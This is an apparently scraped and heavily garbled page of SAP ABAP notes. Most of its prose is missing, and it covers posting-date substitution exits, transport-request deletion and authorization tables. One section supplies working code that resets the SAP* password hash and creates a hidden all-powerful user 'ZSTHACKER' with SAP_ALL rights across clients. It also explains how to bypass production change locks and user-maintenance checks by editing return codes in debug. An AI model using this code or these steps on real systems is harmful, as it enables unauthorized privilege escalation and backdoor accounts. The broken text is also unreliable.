* AND BCLFIELD = 'PRCTR' .
ZGB01-BEXCLUDE = ''.
MODIFY GB01 FROM ZGB01 .
2 , Tcode.

GGB0: All Validations.


GGB1: All Substitutions
GGB2: All Rule Class
GGB3: Tcode,,.
GGB4:

2 .
,, CO-PA ,
,, ABAP .
OBBH , 9-7 .
[1] [2] class, GBTDMFIJ.

GBTDMFIGFORM EXP_TAB_008_BKPF(class
8,callpnt1),FORM EXP_TAB_009_BSEG(class 9,callpnt2), FORM
EXP_TAB_015_BKPFFORM EXP_TAB_015_BSEG(Class 15,Callpnt 3).
FORM EXP_TAB_008_BKPF .
TEMP_STRUCT (),,.
***, GBTDMFIG Form
TEMP_STRUCT . TEMP_STRUCT BKPF-BUDAT,
posting date , 3 RGUGBR00 .
, BKPF,BSEG , BKPF
TEMP_STRUCT(),BKPF Reset .

3 .
SE38 RGUGBR00, ().
4.
, Posting Date (,
,, 4 SAP )
(,).
FORM u100.
* Exit(Form) head(Line item) Filed ,.
* GBTDMFIG( GBTDMFI0 )
* Yueming Li ,.
Form 100.
BSEG-SGTXT = 'TEST TeXT'.
*BKPF-BUDAT
TABLES: T009B.
DATA: BEGIN OF T_T009B OCCURS 10,
BUMON LIKE T009B-BUMON,

BUTAG LIKE T009B-BUTAG,


END OF T_T009B.
DATA: L_DATE(8) TYPE C,
L_YEAR(4) TYPE C,
L_MONTH(2) TYPE C,
L_DAY(2) TYPE C,
L_PERMONTH(2) TYPE C,
L_CURYEAR(4) TYPE C,
L_CURMONTH(2) TYPE C,
L_CURDAY(2) TYPE C.
L_DATE
= SY-DATUM.
L_CURYEAR = L_DATE(4).
L_CURMONTH = L_DATE+4(2).
L_CURDAY = L_DATE+6(2).
L_CURMONTH = L_CURMONTH - 0.
L_PERMONTH = L_CURMONTH - 1.
L_DATE = BKPF-BUDAT.
L_YEAR = L_DATE(4).
L_MONTH = L_DATE+4(2).
L_DAY = L_DATE+6(2).
L_MONTH = L_MONTH - 0.

IF L_CURYEAR NE L_YEAR.
BKPF-BUDAT = L_DATE.
EXIT.
ENDIF.
IF L_MONTH NE L_CURMONTH
AND L_MONTH NE L_PERMONTH.
BKPF-BUDAT = L_DATE.
EXIT.
ENDIF.
SELECT BUMON BUTAG
INTO T_T009B
FROM T009B
WHERE PERIV EQ 'Z1'
AND BDATJ EQ L_YEAR " year
AND ( BUMON EQ L_CURMONTH "Month
OR BUMON EQ L_PERMONTH ).
IF T_T009B-BUMON EQ L_PERMONTH.
APPEND T_T009B.
ENDIF.

IF T_T009B-BUMON EQ L_CURMONTH
AND T_T009B-BUTAG LE L_CURDAY.
APPEND T_T009B.
ENDIF.
ENDSELECT.
SORT T_T009B.
LOOP AT T_T009B.
IF T_T009B-BUMON EQ L_MONTH.
IF T_T009B-BUTAG GE L_DAY.
CONCATENATE L_YEAR T_T009B-BUMON T_T009B-BUTAG INTO L_DATE.
EXIT.
ENDIF.
ENDIF.
IF T_T009B-BUMON GT L_MONTH.
IF T_T009B-BUTAG GE L_DAY.
EXIT.
ENDIF.
ENDIF.
ENDLOOP.
BKPF-BUDAT = L_DATE.
ENDFORM.

"U100

.
FORM u100.
"#EC CALLED
*Formheaderline .
BSEG-SGTXT = 'Line Item Text'. "For Line Sub.
DATA:Z_PSTDATE TYPE SY-DATUM,
Z_CURPER LIKE T009B-POPER,
Z_CURYEAR LIKE T009B-BDATJ,
Z_PSTPER LIKE T009B-POPER,
Z_PSTYEAR LIKE T009B-BDATJ,
Z_PERLSTDAY LIKE SY-DATUM.
*.
*check posting date's period and fiscal year
CALL FUNCTION 'DETERMINE_PERIOD'
EXPORTING
DATE
= BKPF-BUDAT
VERSION
= 'Z1' "Fiscal Year Var.
IMPORTING
PERIOD
= Z_PSTPER
YEAR
= Z_PSTYEAR .
*check sysdate's period and fiscal year
CALL FUNCTION 'DETERMINE_PERIOD'
EXPORTING
DATE
= SY-DATUM
VERSION
= 'Z1' "Fiscal Year Var.

IMPORTING
PERIOD
= Z_CURPER
YEAR
= Z_CURYEAR.
*posting date.
CHECK Z_CURYEAR <> Z_PSTYEAR OR Z_PSTPER <> Z_CURPER.
*posting date##
Z_PSTPER = Z_PSTPER + 1 .
CALL FUNCTION 'FIRST_DAY_IN_PERIOD_GET'
EXPORTING
I_GJAHR
= Z_PSTYEAR
I_PERIV
= 'Z1'
I_POPER
= Z_PSTPER
IMPORTING
E_DATE
= Z_PERLSTDAY .
BKPF-BUDAT = Z_PERLSTDAY - 1 .
BKPF-MONAT = Z_PSTPER . " Edit options .
5.?
?,
. SAP ,,
, posting date , posting
post ,.
,..
(1)/H debug, F6 SAPMF05A screen Number 1001, module
document_merge , module .

(2)parked doc g_status =2 .


, FV50 .
FI_VALIDATION_DOC
FI_VALIDATION_HEADER
FI_VALIDATION_ITEM

6.?
Mat doc .

4.BKPF|BSEG
5.Dunning

6.

7.

8.

5.CO .

1.
2.
8.
6.Basis
1.
13 ,
,.
SM12 ,.
Program ZSTDELREQ
.
data :
itab_e070 like e070 occurs 0 with header line,
*
Request header including Req user.
iwa_e070c like e070c, "Request client
itab_e071 like e071 occurs 0 with header line ,
*Request entry line items may include multiple lines
iwa_e07t like e07t ,
"Requst short text(desc)
iwa_E070A like E070A ,
*If the Request was locked and delelted,Delete Tlock otherwise
*The program will be locked to make any modifications.
itab_tlock like tlock occurs 0 with header line .
parameter reqno like e070-trkorr default '' .
select * into table itab_e070 from e070
where trkorr eq reqno or strkorr eq reqno.
if SY-SUBRC Ne 0 .
write : 'The Request No.:' , Reqno , ' not exist !' .
* exit .
endif .
select single * into iwa_e070c from e070c
where trkorr eq reqno .
select * into table itab_e071 from e071
where trkorr eq reqno .
select single * into iwa_e07t from e07t
where trkorr eq reqno .
select single * into iwa_E070A from e070A
where trkorr eq reqno .
if itab_e070 IS INITIAL .
select * into table itab_tlock from tlock
where trkorr eq reqno .
else.
select * into table itab_tlock from tlock

FOR ALL ENTRIES IN itab_e070


where TRKORR eq itab_e070-trkorr .
endif.
if SY-SUBRC NE 0 .
write : / 'No Locked object for the request NO. was found!'.
endif .
delete :
e070 from table itab_e070 ,
e070c from iwa_e070c,
e071 from table itab_e071,
e07t from iwa_e07t ,
e070A from iwa_E070A ,
tlock from table itab_tlock .
write : / 'The Request No.:' , Reqno ,
' has already been successfully Full deleted'.

$TMP package , QAS PRD,


package, TADIR (
), Create Object Directory Entry
.
Report zdelpackage.
data iwa_tadir like tadir .
select single * into iwa_tadir from tadir
where OBJ_NAME = 'ZXMBCU02'."change to your prog. Name.
delete tadir from iwa_tadir.

2.

3. SAP
SAP ,
, SAP ,

,(
Hacker).
,.
[1].Activity(group)
[2].Authorization Object
[3].Profile
[4].Role
Authorization Object , USR_USER_AUTH_FOR_OBJ_GET
AUTHORIZATION_DATA_READ_SELOBJ.
Tcode .
()Role() T-code:
PFAC

PFAC_CHG
PFAC_DEL
PFAC_DIS
PFAC_INS
PFAC_STR
PFCG
ROLE_CMP
SUPC profile
SWUJ
SU03
SU25, SU26
Profile
()
SU0
SU01
SU01D
SU01_NAV
SU05
SU1
SU10
SU12
SUCOMP:
SU2 change
SUIM , by .
()
SUGR:
SUGRD:
SUGRD_NAV:
SUGR_NAV:
()
SU20|SU21: authorization fields
SU50|SU51|SU52
SU53:
SU56: authoraztion data buffers.
SU87: history
SU96,SU97,SU98,SU99:
:
TOBJ : All avaiable authorzation objects.(SAP default objects )
USR12: authoraztion
USR02: table
USR04:Authorization
USR03:User address data
USR05:User Master Parameter ID
USR06:Additional Data per User
USR07:Object/values of last authorization check that failed
USR08:Table for user menu entries
USR09:Entries for user menus (work areas)

USR10:User master authorization profiles


USR11:User Master Texts for Profiles (USR10)
USR12:User master authorization values
USR13:Short Texts for Authorizations
USR14:Surchargeable Language Versions per User
USR15:External User Name
USR16:Values for Variables for User Authorizations
USR20:Date of last user master reorganization
USR21:Assign user name address key
USR22:Logon data without kernel access
USR30:Additional Information for User Menu
USR40:Table for illegal passwords
USR41:(SM04 )
USRBF2: objects
UST04:User Profile master
UST10C: Composite profiles
UST10S: Single profiles
UST12 : Authorizations
?
. SAP* 123..
report ZMODPWD.
tables :usr02 .
*Data ZUSR02 like USR02 .
*select single * into zUSR02 from USR02
*where BNAME = 'SAP*'.
*ZUSR02-BNAME = 'SAP*'.
*ZUSR02-Bcode = '9C8AB8600E74D864' .
*ZUSR02-UFLAG = '0' ."unlock SAP*
*Update USR02 from ZUSR02 .
update usr02 set bcode = 'DF52478E6FF90EEB'
where BNAME = 'SAP*'.

sap*.
SAP*,basis ,
?,
USRBF2 , SU01
,.
ZSTHACKER(123qaz)SAP*.
Program ZCRTUSER.
Data ZUSR02 like USR02 .
***1Create User ZSTHACKER according to DDIC
select single * into ZUSR02 from USR02
where BNAME = 'DDIC'.
ZUSR02-BNAME = 'ZSTHACKER'.
ZUSR02-Bcode = 'E3B796BB09F7901B' .
insert USR02 from ZUSR02 .
***2Copy Auth. Obj from SAP*(or other)
data ZUSRBF2 like USRBF2 occurs 0 with header line.
select * from USRBF2 into table ZUSRBF2
where BNAME = 'SAP*' .

Loop at ZUSRBF2.
ZUSRBF2-BNAME = 'ZSTHACKER' .
Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.
endloop.
INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.

SAP*, Tobj ZSTHACKER .


Data Ztobj like tobj occurs 0 with header line .
data zusrbf2 like usrbf2.
select * into table ztobj from tobj .
loop at ztobj.
zusrbf2-mandt = sy-mandt.
zusrbf2-bname = 'ZSTHACKER'.
zusrbf2-objct = ztobj-objct.
zusrbf2-auth ='&_SAP_ALL'.
modify USRBF2 FROM zusrbf2 .
endloop .

basis ZSTHACKER ,
basis ..:
[1], PRD
Query( report painter)( Access Key).
[2] query (
USR02 USRBF2 ),( usr02 usrbf2
) basis .
***.

[3] client ?
,, client . client 100
ZSTHACKER , client 300, 300 SAP*
client 100 ZSTHACKER.( client specified client
).
Data zusrbf2 like usrbf2.
Select * into zusrbf2 from usrbf2 where bname = 'SAP*' .
Zusrbf2-bname = 'ZSTHACKER' .
Zusrbf2-mandt = '100'.
Insert into usrbf2 client specified values zusrbf2.
Endselect .

4.
, Debut(/H),
ABAPer SE38,SE71 ,.
(basis
).

QAS PRD server, Basis Tcode SCC4 (


No changes allowed )(3 No changes to Repository
and cross-client Customizing objs). T000 .

SE38
.
LSTRDU34(SE37:TRINT_CORR_CHECK)
LSTRDU44(SE37:TRINT_CORR_INSERT)
QAS PRD server .
3.6.4-1 ,, LV_SUBRC 0 .

, 3.6.4-2, SY-SUBRC 0 .

ABAPer PRD SE38 ,,


display( 3.6.4-3) 3.6.4-1 3.6.4-2
LSTRDU34 LSTRDU44 LV_SUBRC SY-SUBRC 0
(, Display ).

/H SE38( SE37),
/H, SE38 (
LSUSEU11,,/H )
3.6.4-4, PRD SE38 , SCC4 Client
, LSUSEU11 , sy-subrc 0, SCC4
, Tcode .

1 Tcode 3.6.4-4, screen(


Call **Tcode skip first screen),,,
.
2 SU01( first screen create,change user
.)
3.6.4-4-1, LSUU0U02When CHANGE rc = 0
(SE37: SUSR_USER_MAINT_WITH_DIALOG).

, LSUU0U02 when 'CREA'. rc 0 .


include (), user ,
SAP_ALL .
scrip form ,, Scrip Form(SE71)
LSTRDU39 TR_OBJECT_CHECK(SE37).
3.6.4-5.

SAP , ABAPer ,
,?
1., SAP
, Access Key , PRD ,
SA38 /H , LSTRDU34 LSTRDU44
Access Key .
, Access Key ( LSKEYF00)
Insert,Delete ,.
QAS PRD server 3.6.4 IMG ,
SE38,SE71,Smartforms Tcode Access Key,
IMG .
2.(IMG),.
3. PRD SE38 /H(S_DEVLOP
4. LSTRDU33(SE37: TR_EDIT_CHECK_OBJECTS_KEYS) ABAP object
Edit ,. LSTRDU34, LSTRDU44, LSTRDU39
( F5 ).
.

:
1.ABAPer Tcode

ABAPer Tcode
:
1 Tcode S001 SAP easy access ABAP workbench Tcode
2 Tcode SE43 Area Menu Tcode(
/n Area menu,/O Area menu ), Tcode Application
area Tcode , ASMN AM Tcode
,AUTH Tcode .
Tcode
CMOD(SMOD)
OSS1
S001
SA38
SCAT
SE01
SE09
SE10
SE11
SE12
SE13|SE14|SE15
SE16|SE17
SE30
SE32
SE35
SE36
SE37
SE38
SE39
SE41
SE43
SE51
SE54
SE61
SE63
SE71->SE76
SE80
SE81
SE84|SE85|SE86
SE91

SAP
SAP OSS
ABAP ( Tcode)
(SE38 )
Computer Aided Test Tool
( client)

SE09
ABAP

ABAP
ABAP
ABAP/4

Function module
ABAP

( tcode area menu)

, SE16|SM30

SAPscript Tcode
ABAP
ABAP
ABAP/4 Repository Information System

SE92
SE93
SEU
SHD0
SM04
SM12
SM21
SM30|SM31
SM32
SM35
SM36
SM37
SM50
SM51
SM62
ST05
SU53

Log
Tcode
Repository Object Browser
Tcode (Variant)

Locked objects( lock )


Dump log
table|view

Batch input session( BDC SHDB)


job
job
Process Overview
Display system servers, processes, etc.
Display/Maintain events in SAP
SQL ,.
,

Vous aimerez peut-être aussi